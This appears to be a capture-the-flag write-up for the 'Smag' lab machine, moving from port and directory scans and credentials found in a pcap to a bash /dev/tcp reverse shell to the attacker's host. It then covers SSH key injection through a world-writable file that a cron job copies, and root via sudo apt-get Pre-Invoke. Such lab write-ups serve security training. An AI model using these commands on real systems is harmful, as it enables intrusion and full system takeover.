Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.125.184 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 21:26 BST
Nmap scan report for 10.10.125.184
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Smag
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.50 seconds

Website

Visiting the website it just has a basic message.

So we run a gobuster scan.

# gobuster dir -u http://10.10.125.184 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.125.184
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 402]
/mail                 (Status: 301) [Size: 313] [--> http://10.10.125.184/mail/]
/server-status        (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

This reveals us the mail subdirectory.

Wireshark

From the mail directory we download the pcap file and look at it with wireshark. The pcap only has 10 frames in it, and one of these is a HTTP login.

This has revealed a dns name and some login credentials. So we add the domain to our hosts file and goto the login form. Using the details from the pcap we get in and see a form allow for commands to be entered.

Initial access

We start a listener and then use the command bash -c 'exec bash -i &>/dev/tcp/10.11.18.78/6666 <&1' to get a shell back.

# nc -lvnp 6666  
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.125.184] 38708
bash: cannot set terminal process group (717): Inappropriate ioctl for device
bash: no job control in this shell
www-data@smag:/var/www/development.smag.thm$

Looking around we notice there is a cronjob running to put a ssh key into jake’s authorised keys.

www-data@smag:/var/www/development.smag.thm$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
#

Checking the source file we see that all users can write into this file. We generate a keyfile locally (ssh-keygen -t ed25519 -f jake) and then echo into the file.

www-data@smag:/var/www/development.smag.thm$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKtQyAA8ynuS7BTTmM2QdEo4MGxu9yVf+p0bS7rWz8Tv" >> /opt/.backups/jake_id_rsa.pub.backup
<2QdEo4MGxu9yVf+p0bS7rWz8Tv" >> /opt/.backups/jake_id_rsa.pub.backup         
www-data@smag:/var/www/development.smag.thm$ cat /opt/.backups/jake_id_rsa.pub.backup
<lopment.smag.thm$ cat /opt/.backups/jake_id_rsa.pub.backup                  
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5HGAnm2nNgzDW9OPAZ9dP0tZbvNrIJWa/swbWX1dogZPCFYn8Ys3P7oNPyzXS6ku72pviGs5kQsxNWpPY94bt2zvd1J6tBw5g64ox3BhCG4cUvuI5zEi7y+xnIiTs5/MoF/gjQ2IdNDdvMs/hDj4wc2x8TFLPlCmR1b/uHydkuvdtw9WzZN1O+Ax3yEkMfB8fO3F7UqN2798wBPpRNNysQ+59zIUbV9kJpvARBILjIupikOsTs8FMMp2Um6aSpFKWzt15na0vou0riNXDTgt6WtPYxmtv1AHE4VdD6xFJrM5CGffGbYEQjvJoFX2+vSOCDEFZw1SjuajykOaEOfheuY96Ao3f41m2Sn7Y9XiDt1UP4/Ws+kxfpX2mN69+jsPYmIKY72MSSm27nWG3jRgvPZsFgFyE00ZTP5dtrmoNf0CbzQBriJUa596XEsSOMmcjgoVgQUIr+WYNGWXgpH8G+ipFP/5whaJiqPIfPfvEHbT4m5ZsSaXuDmKercFeRDs= kali@kali
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKtQyAA8ynuS7BTTmM2QdEo4MGxu9yVf+p0bS7rWz8Tv

With this in place we just wait for the cron to run and then we can ssh as jake and grab the user flag.

# ssh jake@smag.thm -i jake
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Fri Aug 22 08:17:56 2025 from 10.11.18.78
jake@smag:~$ cat user.txt 
i******************************j

Privilege escalation

We check jake’s sudo privileges and see there is an entry.

jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on smag:
    (ALL : ALL) NOPASSWD: /usr/bin/apt-get

Visiting GTFOBins we see a suitable method and use it get to root, and grab the flag.

jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
u******************************T